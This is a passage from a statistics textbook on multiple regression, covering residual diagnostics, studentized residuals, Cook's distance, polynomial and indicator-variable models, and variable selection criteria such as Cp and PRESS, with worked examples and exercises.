The **residuals** from the multiple regression model, defined by $e_i = y_i - \hat{y}_i$, play an important role in judging model adequacy just as they do in simple linear regression. As noted in Section 11-7.1, several residual plots are often useful; these are illustrated in Example 12-10. It is also helpful to plot the residuals against variables not presently in the model that are possible candidates for inclusion. Patterns in these plots may indicate that the model may be improved by adding the candidate variable.

EXAMPLE 12-10 Wire Bond Strength Residuals

The residuals for the model from Example 12-1 are shown in Table 12-3. A normal probability plot of these residuals is shown in Fig. 12-6. No severe deviations from normality are obviously apparent, although the two largest residuals (e_{15} = 5.84 and e_{17} = 4.33) do not fall extremely close to a straight line drawn through the remaining residuals.

The **standardized residuals**

Standardized Residual

$$d_i = \frac{e_i}{\sqrt{MS_E}} = \frac{e_i}{\sqrt{\hat{\sigma}^2}} \qquad (12\text{-}42)$$

Figure 12-6 Normal probability plot of residuals.

Figure 12-7 Plot of residuals against $\hat{y}$.

are often more useful than the ordinary residuals when assessing residual magnitude. For the wire bond strength example, the standardized residuals corresponding to e_{15} and e_{17} are $d_{15} = 5.84/\sqrt{5.2352} = 2.55$ and $d_{17} = 4.33/\sqrt{5.2352} = 1.89$, and they do not seem unusually large. Inspection of the data does not reveal any error in collecting observations 15 and 17, nor does it produce any other reason to discard or modify these two points.

The residuals are plotted against $\hat{y}$ in Fig. 12-7, and against x_1 and x_2 in Figs. 12-8 and 12-9, respectively.* The two largest residuals, e_{15} and e_{17}, are apparent. Figure 12-8 gives some indication that the model underpredicts the pull strength for assemblies with short wire length ($x_1 \leq 6$) and long wire length ($x_1 \geq 15$) and overpredicts the strength for assemblies with intermediate wire length ($7 \leq x_1 \leq 14$). The same impression is obtained from Fig. 12-7. Either the relationship between strength and wire length is not linear (requiring that a term involving x_1^2, say, be added to the model), or other regressor variables not presently in the model affected the response.

In the wire bond strength example we used the standardized residuals $d_i = e_i/\sqrt{\hat{\sigma}^2}$ as a measure of residual magnitude. Some analysts prefer to plot standardized residuals instead of ordinary residuals, because the standardized residuals are scaled so that their standard

Figure 12-8 Plot of residuals against x_1.

Figure 12-9 Plot of residuals against x_2.

*There are other methods, described in Montgomery, Peck, and Vining (2006) and Myers (1990), that plot a modified version of the residual, called a **partial residual,** against each regressor. These partial residual plots are useful in displaying the relationship between the response y and each individual regressor.

deviation is approximately unity. Consequently, large residuals (that may indicate possible outliers or unusual observations) will be more obvious from inspection of the residual plots.

Many regression computer programs compute other types of scaled residuals. One of the most popular are the **studentized residuals**

Studentized Residual

$$r_i = \frac{e_i}{\sqrt{\hat{\sigma}^2(1 - h_{ii})}} \qquad i = 1, 2, \ldots, n \tag{12-43}$$

where h_{ii} is the ith diagonal element of the matrix

$$\mathbf{H} = \mathbf{X}(\mathbf{X}'\mathbf{X})^{-1}\mathbf{X}'$$

The $\mathbf{H}$ matrix is sometimes called the **"hat" matrix,** since

$$\hat{\mathbf{y}} = \mathbf{X}\hat{\boldsymbol{\beta}} = \mathbf{X}(\mathbf{X}'\mathbf{X})^{-1}\mathbf{X}'\mathbf{y} = \mathbf{H}\mathbf{y}$$

Thus $\mathbf{H}$ transforms the observed values of $\mathbf{y}$ into a vector of fitted values $\hat{\mathbf{y}}$.

Since each row of the matrix $\mathbf{X}$ corresponds to a vector, say $\mathbf{x}_i' = [1, x_{i1}, x_{i2}, \ldots, x_{ik}]$, another way to write the diagonal elements of the hat matrix is

Diagonal Elements of Hat Matrix

$$h_{ii} = \mathbf{x}_i'(\mathbf{X}'\mathbf{X})^{-1}\mathbf{x}_i \tag{12-44}$$

Note that apart from σ^2, h_{ii} is the variance of the fitted value $\hat{y}_i$. The quantities h_{ii} were used in the computation of the confidence interval on the mean response in Section 12-3.2.

Under the usual assumptions that the model errors are independently distributed with mean zero and variance σ^2, we can show that the variance of the ith residual e_i is

$$V(e_i) = \sigma^2(1 - h_{ii}), \qquad i = 1, 2, \ldots, n$$

Furthermore, the h_{ii} elements must fall in the interval $0 < h_{ii} \leq 1$. This implies that the standardized residuals understate the true residual magnitude; thus, the studentized residuals would be a better statistic to examine in evaluating potential **outliers.**

To illustrate, consider the two observations identified in the wire bond strength data (Example 12-10) as having residuals that might be unusually large, observations 15 and 17. The standardized residuals are

$$d_{15} = \frac{e_{15}}{\sqrt{\hat{\sigma}^2}} = \frac{5.84}{\sqrt{5.2352}} = 2.55 \qquad \text{and} \qquad d_{17} = \frac{e_{17}}{\sqrt{MS_E}} = \frac{4.33}{\sqrt{5.2352}} = 1.89$$

Now $h_{15,15} = 0.0737$ and $h_{17,17} = 0.2593$, so the studentized residuals are

$$r_{15} = \frac{e_{15}}{\sqrt{\hat{\sigma}^2(1 - h_{15,15})}} = \frac{5.84}{\sqrt{5.2352(1 - 0.0737)}} = 2.65$$

and

$$r_{17} = \frac{e_{17}}{\sqrt{\hat{\sigma}^2(1 - h_{17,17})}} = \frac{4.33}{\sqrt{5.2352(1 - 0.2593)}} = 2.20$$

Notice that the studentized residuals are larger than the corresponding standardized residuals. However, the studentized residuals are still not so large as to cause us serious concern about possible outliers.

12-5.2 Influential Observations

When using multiple regression, we occasionally find that some subset of the observations is unusually influential. Sometimes these influential observations are relatively far away from the vicinity where the rest of the data were collected. A hypothetical situation for two variables is depicted in Fig. 12-10, where one observation in x-space is remote from the rest of the data. The disposition of points in the x-space is important in determining the properties of the model. For example, point (x_{i1}, x_{i2}) in Fig. 12-10 may be very influential in determining R^2, the estimates of the regression coefficients, and the magnitude of the error mean square.

We would like to examine the influential points to determine whether they control many model properties. If these influential points are "bad" points, or erroneous in any way, they should be eliminated. On the other hand, there may be nothing wrong with these points, but at least we would like to determine whether or not they produce results consistent with the rest of the data. In any event, even if an influential point is a valid one, if it controls important model properties, we would like to know this, since it could have an impact on the use of the model.

Montgomery, Peck, and Vining (2006) and Myers (1990) describe several methods for detecting influential observations. An excellent diagnostic is the **distance measure** developed by Dennis R. Cook. This is a measure of the squared distance between the usual least squares estimate of $\boldsymbol{\beta}$ based on all n observations and the estimate obtained when the ith point is removed, say, $\hat{\boldsymbol{\beta}}_{(i)}$. The **Cook's distance measure** is

Cook's Distance

$$D_i = \frac{(\hat{\boldsymbol{\beta}}_{(i)} - \hat{\boldsymbol{\beta}})'\mathbf{X}'\mathbf{X}(\hat{\boldsymbol{\beta}}_{(i)} - \hat{\boldsymbol{\beta}})}{p\hat{\sigma}^2} \qquad i = 1, 2, \ldots, n$$

Figure 12-10 A point that is remote in x-space.

Clearly, if the ith point is influential, its removal will result in $\hat{\boldsymbol{\beta}}_{(i)}$ changing considerably from the value $\hat{\boldsymbol{\beta}}$. Thus, a large value of D_i implies that the ith point is influential. The statistic D_i is actually computed using

Cook's Distance Formula

$$D_i = \frac{r_i^2}{p}\frac{h_{ii}}{(1 - h_{ii})} \qquad i = 1, 2, \ldots, n \tag{12-45}$$

From Equation 12-44 we see that D_i consists of the squared studentized residual, which reflects how well the model fits the ith observation y_i [recall that $r_i = e_i/\sqrt{\hat{\sigma}^2(1 - h_{ii})}$] and a component that measures how far that point is from the rest of the data [$h_{ii}/(1 - h_{ii})$ is a measure of the distance of the ith point from the centroid of the remaining $n - 1$ points]. A value of $D_i > 1$ would indicate that the point is influential. Either component of D_i (or both) may contribute to a large value.

EXAMPLE 12-11 Wire Bond Strength Cook's Distances

Table 12-12 lists the values of the hat matrix diagonals h_{ii} and Cook's distance measure D_i for the wire bond pull strength data in Example 12-1. To illustrate the calculations, consider the first observation:

$$D_1 = \frac{r_1^2}{p} \cdot \frac{h_{11}}{(1 - h_{11})}$$

$$= -\frac{[e_1/\sqrt{MS_E(1 - h_{11})}]^2}{p} \cdot \frac{h_{11}}{(1 - h_{11})}$$

$$= \frac{[1.57/\sqrt{5.2352(1 - 0.1573)}]^2}{3} \cdot \frac{0.1573}{(1 - 0.1573)}$$

$$= 0.035$$

The Cook distance measure D_i does not identify any potentially influential observations in the data, for no value of D_i exceeds unity.

Table 12-12 Influence Diagnostics for the Wire Bond Pull Strength Data 2

Observations i	h_{ii}	Cook's Distance Measure D_i	Observations i	h_{ii}	Cook's Distance Measure D_i
1	0.1573	0.035	14	0.1129	0.003
2	0.1116	0.012	15	0.0737	0.187
3	0.1419	0.060	16	0.0879	0.001
4	0.1019	0.021	17	0.2593	0.565
5	0.0418	0.024	18	0.2929	0.155
6	0.0749	0.007	19	0.0962	0.018
7	0.1181	0.036	20	0.1473	0.000
8	0.1561	0.020	21	0.1296	0.052
9	0.1280	0.160	22	0.1358	0.028
10	0.0413	0.001	23	0.1824	0.002
11	0.0925	0.013	24	0.1091	0.040
12	0.0526	0.001	25	0.0729	0.000
13	0.0820	0.001			

EXERCISES FOR SECTION 12-5

12-57. Consider the gasoline mileage data in Exercise 12-7.
(a) What proportion of total variability is explained by this model?
(b) Construct a normal probability plot of the residuals and comment on the normality assumption.
(c) Plot residuals versus $\hat{y}$ and versus each regressor. Discuss these residual plots.
(d) Calculate Cook's distance for the observations in this data set. Are any observations influential?

12-58. Consider the electric power consumption data in Exercise 12-6.
(a) Calculate R^2 for this model. Interpret this quantity.
(b) Plot the residuals versus $\hat{y}$ and versus each regressor. Interpret this plot.
(c) Construct a normal probability plot of the residuals and comment on the normality assumption.

12-59. Consider the regression model for the NFL data in Exercise 12-17.
(a) What proportion of total variability is explained by this model?
(b) Construct a normal probability plot of the residuals. What conclusion can you draw from this plot?
(c) Plot the residuals versus $\hat{y}$ and versus each regressor, and comment on model adequacy.
(d) Are there any influential points in these data?

12-60. Consider the regression model for the heat treating data in Exercise 12-10.
(a) Calculate the percent of variability explained by this model.
(b) Construct a normal probability plot for the residuals. Comment on the normality assumption.
(c) Plot the residuals versus $\hat{y}$ and interpret the display.
(d) Calculate Cook's distance for each observation and provide an interpretation of this statistic.

12-61. Consider the regression model fit to the X-ray inspection data in Exercise 12-11. Use rads as the response.
(a) What proportion of total variability is explained by this model?
(b) Construct a normal probability plot of the residuals. What conclusion can you draw from this plot?
(c) Plot the residuals versus $\hat{y}$ and versus each regressor, and comment on model adequacy.
(d) Calculate Cook's distance for the observations in this data set. Are there any influential points in these data?

12-62. Consider the regression model fit to the arsenic data in Exercise 12-12. Use arsenic in nails as the response and age, drink use, and cook use as the regressors.
(a) What proportion of total variability is explained by this model?
(b) Construct a normal probability plot of the residuals. What conclusion can you draw from this plot?
(c) Plot the residuals versus $\hat{y}$ and versus each regressor, and comment on model adequacy.
(d) Calculate Cook's distance for the observations in this data set. Are there any influential points in these data?

12-63. Consider the regression model fit to the coal and limestone mixture data in Exercise 12-13. Use density as the response.
(a) What proportion of total variability is explained by this model?
(b) Construct a normal probability plot of the residuals. What conclusion can you draw from this plot?
(c) Plot the residuals versus $\hat{y}$ and versus each regressor, and comment on model adequacy.
(d) Calculate Cook's distance for the observations in this data set. Are there any influential points in these data?

12-64. Consider the regression model fit to the nisin extraction data in Exercise 12-14.
(a) What proportion of total variability is explained by this model?
(b) Construct a normal probability plot of the residuals. What conclusion can you draw from this plot?
(c) Plot the residuals versus $\hat{y}$ and versus each regressor, and comment on model adequacy.
(d) Calculate Cook's distance for the observations in this data set. Are there any influential points in these data?

12-65. Consider the regression model fit to the grey range modulation data in Exercise 12-15. Use the useful range as the response.
(a) What proportion of total variability is explained by this model?
(b) Construct a normal probability plot of the residuals. What conclusion can you draw from this plot?
(c) Plot the residuals versus $\hat{y}$ and versus each regressor, and comment on model adequacy.
(d) Calculate Cook's distance for the observations in this data set. Are there any influential points in these data?

12-66. Consider the stack loss data in Exercise 12-16.
(a) What proportion of total variability is explained by this model?
(b) Construct a normal probability plot of the residuals. What conclusion can you draw from this plot?
(c) Plot the residuals versus $\hat{y}$ and versus each regressor, and comment on model adequacy.
(d) Calculate Cook's distance for the observations in this data set. Are there any influential points in these data?

12-67. Consider the bearing wear data in Exercise 12-19.
(a) Find the value of R^2 when the model uses the regressors x_1 and x_2.
(b) What happens to the value of R^2 when an interaction term x_1x_2 is added to the model? Does this necessarily imply that adding the interaction term is a good idea?

12-68. Fit a model to the response PITCH in the heat treating data of Exercise 12-10 using new regressors x_1 = SOAKTIME $\times$ SOAKPCT and x_2 = DIFFTIME $\times$ DIFFPCT.

(a) Calculate the R^2 for this model and compare it to the value of R^2 from the original model in Exercise 12-10. Does this provide some information about which model is preferable?
(b) Plot the residuals from this model versus $\hat{y}$ and on a normal probability scale. Comment on model adequacy.
(c) Find the values of Cook's distance measure. Are any observations unusually influential?

12-69. Consider the semiconductor HFE data in Exercise 12-9.
(a) Plot the residuals from this model versus $\hat{y}$. Comment on the information in this plot.
(b) What is the value of R^2 for this model?
(c) Refit the model using log HFE as the response variable.
(d) Plot the residuals versus predicted log HFE for the model in part (c). Does this give any information about which model is preferable?
(e) Plot the residuals from the model in part (d) versus the regressor x_3. Comment on this plot.
(f) Refit the model to log HFE using x_1, x_2, and $1/x_3$, as the regressors. Comment on the effect of this change in the model.

12-70. Consider the regression model for the NHL data from Exercise 12-18.
(a) Fit a model using *GF* as the only regressor.
(b) How much variability is explained by this model?
(c) Plot the residuals versus $\hat{y}$ and comment on model adequacy.
(d) Plot the residuals from part (a) versus *PPGF*, the points scored while in power play. Does this indicate that the model would be better if this variable were included?

12-71. The diagonal elements of the hat matrix are often used to denote **leverage**—that is, a point that is unusual in its location in the x-space and that may be influential. Generally, the ith point is called a **leverage point** if its hat diagonal h_{ii} exceeds $2p/n$, which is twice the average size of all the hat diagonals. Recall that $p = k + 1$.
(a) Table 12-12 contains the hat diagonal for the wire bond pull strength data used in Example 12-1. Find the average size of these elements.
(b) Based on the criterion above, are there any observations that are leverage points in the data set?

12-6 ASPECTS OF MULTIPLE REGRESSION MODELING

In this section we briefly discuss several other aspects of building multiple regression models. For more extensive presentations of these topics and additional examples refer to Montgomery, Peck, and Vining (2006) and Myers (1990).

12-6.1 Polynomial Regression Models

The linear model $\mathbf{Y} = \mathbf{X}\boldsymbol{\beta} + \boldsymbol{\epsilon}$ is a general model that can be used to fit any relationship that is **linear in the unknown parameters $\boldsymbol{\beta}$.** This includes the important class of **polynomial regression models.** For example, the second-degree polynomial in one variable

$$Y = \beta_0 + \beta_1 x + \beta_{11} x^2 + \epsilon \tag{12-46}$$

and the second-degree polynomial in two variables

$$Y = \beta_0 + \beta_1 x_1 + \beta_2 x_2 + \beta_{11} x_1^2 + \beta_{22} x_2^2 + \beta_{12} x_1 x_2 + \epsilon \tag{12-47}$$

are linear regression models.

Polynomial regression models are widely used when the response is curvilinear, because the general principles of multiple regression can be applied. The following example illustrates some of the types of analyses that can be performed.

EXAMPLE 12-12 Airplane Sidewall Panels

Sidewall panels for the interior of an airplane are formed in a 1500-ton press. The unit manufacturing cost varies with the production lot size. The data shown below give the average cost per unit (in hundreds of dollars) for this product (y) and the production lot size (x). The scatter diagram, shown in Fig. 12-11, indicates that a second-order polynomial may be appropriate.

y	1.81	1.70	1.65	1.55	1.48	1.40
x	20	25	30	35	40	50
y	1.30	1.26	1.24	1.21	1.20	1.18
x	60	65	70	75	80	90

Figure 12-11 Data for Example 12-11.

We will fit the model

$$Y = \beta_0 + \beta_1 x + \beta_{11} x^2 + \epsilon$$

The **y** vector, the model matrix **X** and the **β** vector are as follows:

$$\mathbf{y} = \begin{bmatrix} 1.81 \\ 1.70 \\ 1.65 \\ 1.55 \\ 1.48 \\ 1.40 \\ 1.30 \\ 1.26 \\ 1.24 \\ 1.21 \\ 1.20 \\ 1.18 \end{bmatrix} \qquad \mathbf{X} = \begin{bmatrix} 1 & 20 & 400 \\ 1 & 25 & 625 \\ 1 & 30 & 900 \\ 1 & 35 & 1225 \\ 1 & 40 & 1600 \\ 1 & 50 & 2500 \\ 1 & 60 & 3600 \\ 1 & 65 & 4225 \\ 1 & 70 & 4900 \\ 1 & 75 & 5625 \\ 1 & 80 & 6400 \\ 1 & 90 & 8100 \end{bmatrix} \qquad \boldsymbol{\beta} = \begin{bmatrix} \beta_0 \\ \beta_1 \\ \beta_{11} \end{bmatrix}$$

Solving the normal equations $\mathbf{X}'\mathbf{X}\hat{\boldsymbol{\beta}} = \mathbf{X}'\mathbf{y}$ gives the fitted model

$$\hat{y} = 2.19826629 - 0.02252236x + 0.00012507x^2$$

Conclusions: The test for significance of regression is shown in Table 12-13. Since $f_0 = 1762.3$ is significant at 1%, we conclude that at least one of the parameters β_1 and β_{11} is not zero. Furthermore, the standard tests for model adequacy do not reveal any unusual behavior, and we would conclude that this is a reasonable model for the sidewall panel cost data.

In fitting polynomials, we generally like to use the **lowest-degree model** consistent with the data. In this example, it would seem logical to investigate the possibility of dropping the quadratic term from the model. That is, we would like to test

$$H_0: \beta_{11} = 0$$
$$H_1: \beta_{11} \neq 0$$

Table 12-13 Test for Significance of Regression for the Second-Order Model in Example 12-12

Source of Variation	Sum of Squares	Degrees of Freedom	Mean Square	f_0	P-value
Regression	0.52516	2	0.26258	1762.28	2.12E-12
Error	0.00134	9	0.00015		
Total	0.5265	11			

Table 12-14 Analysis of Variance for Example 12-12, Showing the Test for H_0: $\beta_{11} = 0$

Source of Variation	Sum of Squares	Degrees of Freedom	Mean Square	f_0	P-value
Regression	$SS_R(\beta_1,\beta_{11}\|\beta_0) = 0.52516$	2	0.26258	1767.40	2.09E-12
Linear	$SS_R(\beta_1\|\beta_0) = 0.49416$	1	0.49416	2236.12	7.13E-13
Quadratic	$SS_R(\beta_{11}\|\beta_0,\beta_1) = 0.03100$	1	0.03100	208.67	1.56E-7
Error	0.00133	9	0.00015		
Total	0.5265	11			

The general regression significance test can be used to test this hypothesis. We need to determine the "extra sum of squares" due to β_{11}, or

$$SS_R(\beta_{11}|\beta_1,\beta_0) = SS_R(\beta_1,\beta_{11}|\beta_0) - SS_R(\beta_1|\beta_0)$$

The sum of squares $SS_R(\beta_1,\beta_{11}|\beta_0) = 0.52516$ from Table 12-13. To find $SS_R(\beta_1|\beta_0)$, we fit a simple linear regression model to the original data, yielding

$$\hat{y} = 1.90036313 - 0.00910056x$$

It can be easily verified that the regression sum of squares for this model is

$$SS_R(\beta_1|\beta_0) = 0.4942$$

Therefore, the extra sum of the squares due to β_{11}, given that β_1 and β_0 are in the model, is

$$\begin{aligned} SS_R(\beta_{11}|\beta_1,\beta_0) &= SS_R(\beta_1,\beta_{11}|\beta_0) - SS_R(\beta_1|\beta_0) \\ &= 0.5252 - 0.4942 \\ &= 0.031 \end{aligned}$$

The analysis of variance, with the test of H_0: $\beta_{11} = 0$ incorporated into the procedure, is displayed in Table 12-14. Note that the quadratic term contributes significantly to the model.

12-6.2 Categorical Regressors and Indicator Variables

The regression models presented in previous sections have been based on **quantitative** variables, that is, variables that are measured on a numerical scale. For example, variables such as temperature, pressure, distance, and voltage are quantitative variables. Occasionally, we need to incorporate **categorical,** or **qualitative,** variables in a regression model. For example, suppose that one of the variables in a regression model is the operator who is associated with each observation y_i. Assume that only two operators are involved. We may wish to assign different levels to the two operators to account for the possibility that each operator may have a different effect on the response.

The usual method of accounting for the different levels of a qualitative variable is to use **indicator variables.** For example, to introduce the effect of two different operators into a regression model, we could define an indicator variable as follows:

$$x = \begin{cases} 0 \text{ if the observation is from operator 1} \\ 1 \text{ if the observation is from operator 2} \end{cases}$$

In general, a qualitative variable with r-levels can be modeled by $r - 1$ indicator variables, which are assigned the value of either zero or one. Thus, if there are *three* operators, the different levels will be accounted for by the *two* indicator variables defined as follows:

x_1	x_2	
0	0	if the observation is from operator 1
1	0	if the observation is from operator 2
0	1	if the observation is from operator 3

Indicator variables are also referred to as **dummy** variables. The following example [from Montgomery, Peck, and Vining (2006)] illustrates some of the uses of indicator variables; for other applications, see Montgomery, Peck, and Vining (2006).

EXAMPLE 12-13 Surface Finish

A mechanical engineer is investigating the surface finish of metal parts produced on a lathe and its relationship to the speed (in revolutions per minute) of the lathe. The data are shown in Table 12-15. Note that the data have been collected using two different types of cutting tools. Since the type of cutting tool likely affects the surface finish, we will fit the model

$$Y = \beta_0 + \beta_1 x_1 + \beta_2 x_2 + \epsilon$$

where Y is the surface finish, x_1 is the lathe speed in revolutions per minute, and x_2 is an indicator variable denoting the type of cutting tool used; that is,

$$x_2 = \begin{cases} 0, \text{ for tool type 302} \\ 1, \text{ for tool type 416} \end{cases}$$

The parameters in this model may be easily interpreted. If $x_2 = 0$, the model becomes

$$Y = \beta_0 + \beta_1 x_1 + \epsilon$$

which is a straight-line model with slope β_1 and intercept β_0. However, if $x_2 = 1$, the model becomes

$$Y = \beta_0 + \beta_1 x_1 + \beta_2(1) + \epsilon = (\beta_0 + \beta_2) + \beta_1 x_1 + \epsilon$$

which is a straight-line model with slope β_1 and intercept $\beta_0 + \beta_2$. Thus, the model $Y = \beta_0 + \beta_1 x + \beta_2 x_2 + \epsilon$ implies that surface finish is linearly related to lathe speed and that the slope β_1 does not depend on the type of cutting tool used. However, the type of cutting tool does affect the intercept, and β_2 indicates the change in the intercept associated with a change in tool type from 302 to 416.

The model matrix **X** and **y** vector for this problem are as follows:

$$\mathbf{X} = \begin{bmatrix} 1 & 225 & 0 \\ 1 & 200 & 0 \\ 1 & 250 & 0 \\ 1 & 245 & 0 \\ 1 & 235 & 0 \\ 1 & 237 & 0 \\ 1 & 265 & 0 \\ 1 & 259 & 0 \\ 1 & 221 & 0 \\ 1 & 218 & 0 \\ 1 & 224 & 1 \\ 1 & 212 & 1 \\ 1 & 248 & 1 \\ 1 & 260 & 1 \\ 1 & 243 & 1 \\ 1 & 238 & 1 \\ 1 & 224 & 1 \\ 1 & 251 & 1 \\ 1 & 232 & 1 \\ 1 & 216 & 1 \end{bmatrix} \qquad \mathbf{y} = \begin{bmatrix} 45.44 \\ 42.03 \\ 50.10 \\ 48.75 \\ 47.92 \\ 47.79 \\ 52.26 \\ 50.52 \\ 45.58 \\ 44.78 \\ 33.50 \\ 31.23 \\ 37.52 \\ 37.13 \\ 34.70 \\ 33.92 \\ 32.13 \\ 35.47 \\ 33.49 \\ 32.29 \end{bmatrix}$$

The fitted model is

$$\hat{y} = 14.27620 + 0.14115x_1 - 13.28020x_2$$

Conclusions: The analysis of variance for this model is shown in Table 12-16. Note that the hypothesis $H_0: \beta_1 = \beta_2 = 0$ (significance of regression) would be rejected at any reasonable level of significance because the P-value is very small. This table also contains the sums of squares

$$\begin{aligned} SS_R &= SS_R(\beta_1, \beta_2 | \beta_0) \\ &= SS_R(\beta_1 | \beta_0) + SS_R(\beta_2 | \beta_1, \beta_0) \end{aligned}$$

so a test of the hypothesis $H_0: \beta_2 = 0$ can be made. Since this hypothesis is also rejected, we conclude that tool type has an effect on surface finish.

Table 12-15 Surface Finish Data for Example 12-13

Observation Number, i	Surface Finish y_i	RPM	Type of Cutting Tool	Observation Number, i	Surface Finish y_i	RPM	Type of Cutting Tool
1	45.44	225	302	11	33.50	224	416
2	42.03	200	302	12	31.23	212	416
3	50.10	250	302	13	37.52	248	416
4	48.75	245	302	14	37.13	260	416
5	47.92	235	302	15	34.70	243	416
6	47.79	237	302	16	33.92	238	416
7	52.26	265	302	17	32.13	224	416
8	50.52	259	302	18	35.47	251	416
9	45.58	221	302	19	33.49	232	416
10	44.78	218	302	20	32.29	216	416

It is also possible to use indicator variables to investigate whether tool type affects both the slope and intercept. Let the model be

$$Y = \beta_0 + \beta_1 x_1 + \beta_2 x_2 + \beta_3 x_1 x_2 + \epsilon$$

where x_2 is the indicator variable. Now if tool type 302 is used, $x_2 = 0$, and the model is

$$Y = \beta_0 + \beta_1 x_1 + \epsilon$$

If tool type 416 is used, $x_2 = 1$, and the model becomes

$$\begin{aligned} Y &= \beta_0 + \beta_1 x_1 + \beta_2 + \beta_3 x_1 + \epsilon \\ &= (\beta_0 + \beta_2) + (\beta_1 + \beta_3) x_1 + \epsilon \end{aligned}$$

Note that β_2 is the change in the intercept and that β_3 is the change in slope produced by a change in tool type.

Another method of analyzing these data is to fit separate regression models to the data for each tool type. However, the indicator variable approach has several advantages. First, only one regression model must be fit. Second, by pooling the data on both tool types, more degrees of freedom for error are obtained. Third, tests of both hypotheses on the parameters β_2 and β_3 are just special cases of the extra sum of squares method.

12-6.3 Selection of Variables and Model Building

An important problem in many applications of regression analysis involves selecting the set of regressor variables to be used in the model. Sometimes previous experience or underlying theoretical considerations can help the analyst specify the set of regressor variables to use in a particular situation. Usually, however, the problem consists of selecting an appropriate set of

Table 12-16 Analysis of Variance for Example 12-13

Source of Variation	Sum of Squares	Degrees of Freedom	Mean Square	f_0	P-value
Regression	1012.0595	2	506.0297	1103.69	1.02E-18
$SS_R(\beta_1\|\beta_0)$	130.6091	1	130.6091	284.87	4.70E-12
$SS_R(\beta_2\|\beta_1,\beta_0)$	881.4504	1	881.4504	1922.52	6.24E-19
Error	7.7943	17	0.4585		
Total	1019.8538	19			

regressors from a set that quite likely includes all the important variables, but we are sure that not all these candidate regressors are necessary to adequately model the response Y.

In such a situation, we are interested in **variable selection;** that is, screening the candidate variables to obtain a regression model that contains the "best" subset of regressor variables. We would like the final model to contain enough regressor variables so that in the intended use of the model (prediction, for example) it will perform satisfactorily. On the other hand, to keep model maintenance costs to a minimum and to make the model easy to use, we would like the model to use as few regressor variables as possible. The compromise between these conflicting objectives is often called finding the "best" regression equation. However, in most problems, no single regression model is "best" in terms of the various evaluation criteria that have been proposed. A great deal of judgment and experience with the system being modeled is usually necessary to select an appropriate set of regressor variables for a regression equation.

No single algorithm will always produce a good solution to the variable selection problem. Most of the currently available procedures are search techniques, and to perform satisfactorily, they require interaction with judgment by the analyst. We now briefly discuss some of the more popular variable selection techniques. We assume that there are K candidate regressors, x_1, $x_2, \ldots, x_K$, and a single response variable y. All models will include an intercept term β_0, so the model with *all* variables included would have $K + 1$ terms. Furthermore, the functional form of each candidate variable (for example, $x_1 = 1/x$, $x_2 = \ln x$, etc.) is assumed to be correct.

All Possible Regressions

This approach requires that the analyst fit all the regression equations involving one candidate variable, all regression equations involving two candidate variables, and so on. Then these equations are evaluated according to some suitable criteria to select the "best" regression model. If there are K candidate regressors, there are 2^K total equations to be examined. For example, if $K = 4$, there are $2^4 = 16$ possible regression equations; while if $K = 10$, there are $2^{10} = 1024$ possible regression equations. Hence, the number of equations to be examined increases rapidly as the number of candidate variables increases. However, there are some very efficient computing algorithms for all possible regressions available and they are widely implemented in statistical software, so it is a very practical procedure unless the number of candidate regressors is fairly large. Look for a menu choice such as "Best Subsets" regression.

Several criteria may be used for evaluating and comparing the different regression models obtained. A commonly used criterion is based on the value of R^2 or the value of the adjusted R^2, R^2_{adj}. Basically, the analyst continues to increase the number of variables in the model until the increase in R^2 or the adjusted R^2_{adj} is small. Often, we will find that the R^2_{adj} will stabilize and actually begin to decrease as the number of variables in the model increases. Usually, the model that maximizes R^2_{adj} is considered to be a good candidate for the best regression equation. Because we can write $R^2_{\text{adj}} = 1 - \{MS_E/[SS_T/(n-1)]\}$ and $SS_T/(n-1)$ is a constant, the model that maximizes the R^2_{adj} value also minimizes the mean square error, so this is a very attractive criterion.

Another criterion used to evaluate regression models is the $\boldsymbol{C_p}$ **statistic,** which is a measure of the total mean square error for the regression model. We define the total standardized mean square error for the regression model as

$$
\begin{aligned}
\Gamma_p &= \frac{1}{\sigma^2}\sum_{i=1}^{n} E[\hat{Y}_i - E(Y_i)]^2 \\
&= \frac{1}{\sigma^2}\left\{\sum_{i=1}^{n}[E(Y_i) - E(\hat{Y}_i)]^2 + \sum_{i=1}^{n} V(\hat{Y}_i)\right\} \\
&= \frac{1}{\sigma^2}[(\text{bias})^2 + \text{variance}]
\end{aligned}
$$

We use the mean square error from the *full* $K + 1$ term model as an estimate of σ^2; that is, $\hat{\sigma}^2 = MS_E(K + 1)$. Then an estimator of Γ_p is [see Montgomery, Peck, and Vining (2006) or Myers (1990) for the details]:

C_p Statistic

$$C_p = \frac{SS_E(p)}{\hat{\sigma}^2} - n + 2p \tag{12-48}$$

If the p-term model has negligible bias, it can be shown that

$$E(C_p | \text{zero bias}) = p$$

Therefore, the values of C_p for each regression model under consideration should be evaluated relative to p. The regression equations that have negligible bias will have values of C_p that are close to p, while those with significant bias will have values of C_p that are significantly greater than p. We then choose as the "best" regression equation either a model with *minimum* C_p or a model with a slightly larger C_p, that does not contain as much bias (i.e., $C_p \cong p$).

The **PRESS** statistic can also be used to evaluate competing regression models. PRESS is an acronym for **Prediction Error Sum of Squares,** and it is defined as the sum of the squares of the differences between each observation y_i and the corresponding predicted value based on a model fit to the *remaining* $n - 1$ points, say $\hat{y}_{(i)}$. So PRESS provides a measure of how well the model is likely to perform when predicting *new* data, or data that was not used to fit the regression model. The computing formula for PRESS is

Prediction Error Sum of Squares (PRESS)

$$\text{PRESS} = \sum_{i=1}^{n} (y_i - \hat{y}_{(i)})^2 = \sum_{i=1}^{n} \left(\frac{e_i}{1 - h_{ii}} \right)^2$$

where $e_i = y_i - \hat{y}_i$ is the usual residual. Thus PRESS is easy to calculate from the standard least squares regression results. Models that have small values of PRESS are preferred.

EXAMPLE 12-14 Wine Quality

Table 12-17 presents data on taste-testing 38 brands of pinot noir wine (the data were first reported in an article by Kwan, Kowalski, and Skogenboe in an article in the *Journal of Agricultural and Food Chemistry*, Vol. 27, 1979, and it also appears as one of the default data sets in Minitab). The response variable is y = quality, and we wish to find the "best" regression equation that relates quality to the other five parameters.

Figure 12-12 is the matrix of scatter plots for the wine quality data, as constructed by Minitab. We notice that there are some indications of possible linear relationships between quality and the regressors, but there is no obvious visual impression of which regressors would be appropriate. Table 12-18 lists the all possible regressions output from Minitab. In this analysis, we asked Minitab to present the best three equations for each subset size. Note that Minitab reports the values of R^2, R^2_{adj}, C_p, and $S = \sqrt{MS_E}$ for each model. From Table 12-18 we see that the three-variable equation with x_2 = aroma, x_4 = flavor, and x_5 = oakiness produces the minimum C_p equation, whereas the four-variable model, which adds x_1 = clarity to the previous three regressors, results in maximum R^2_{adj} (or minimum MS_E). The three-variable model is

